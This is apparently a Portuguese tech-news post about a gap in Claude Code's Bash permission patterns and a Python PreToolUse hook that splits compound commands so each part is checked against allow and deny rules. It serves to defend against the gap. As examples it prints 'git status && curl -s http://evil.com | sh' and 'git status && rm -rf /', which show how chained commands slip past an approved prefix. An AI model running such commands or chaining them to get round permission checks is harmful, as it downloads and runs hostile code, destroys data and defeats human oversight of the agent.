Gancho Inteligente de Permissão Bash para Claude Code Previne Bypass de Comandos Compostos

✍️ OpenClawRadar📅 Publicado: March 18, 2026🔗 Source
Gancho Inteligente de Permissão Bash para Claude Code Previne Bypass de Comandos Compostos
Ad

Lacuna de Segurança no Sistema de Permissões do Claude Code

O sistema de permissões do Claude Code tem uma vulnerabilidade onde comandos bash compostos podem contornar padrões de permissão/negação. Quando você permite um comando como Bash(git status:*), o Claude Code compara toda a string do comando com esse padrão. Isso significa que um comando composto como git status && curl -s http://evil.com | sh corresponderia a git status* e seria aprovado automaticamente, mesmo que encadeie comandos curl e sh.

A Solução: claude-hooks

A correção é um único script Python chamado claude-hooks que funciona como um hook PreToolUse. Ele executa várias funções importantes:

  • Decompõe comandos compostos dividindo em &&, ||, ;, |, novas linhas, e extrai conteúdos de subshells $() e acentos graves recursivamente
  • Normaliza cada subcomando removendo prefixos de variáveis de ambiente, redirecionamentos de E/S, corpos de heredoc e palavras-chave do shell
  • Verifica cada subcomando individualmente contra seus padrões existentes de permissions.allow e permissions.deny
  • Negar vence — se qualquer subcomando corresponder a um padrão de negação, todo o comando é negado
  • Todos devem permitir — a aprovação automática só ocorre quando cada subcomando corresponde a um padrão de permissão
  • Falha graciosamente — se qualquer subcomando for desconhecido, você ainda recebe o prompt de permissão normal
Ad

Instruções de Configuração

A instalação leva cerca de 30 segundos:

curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Adicione a ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

A ferramenta não tem dependências além do Python 3 e não requer configuração — ela lê seus padrões de permissão existentes.

Comportamento de Exemplo

  • git status: Permitido tanto com quanto sem o hook
  • git add . && git commit -m "msg": Permitido tanto com quanto sem o hook (ambos correspondem a git *)
  • git status && rm -rf /: Permitido sem o hook, prompt mostrado com o hook (rm -rf / não tem permissão)
  • `npm test | tee output.log`: Permitido
  • FOO=bar git push: Pode não corresponder sem o hook, permitido com o hook (variável de ambiente removida)

O repositório está disponível em https://github.com/liberzon/claude-hooks sob licença MIT.

📖 Read the full source: r/ClaudeAI

Ad

👀 See Also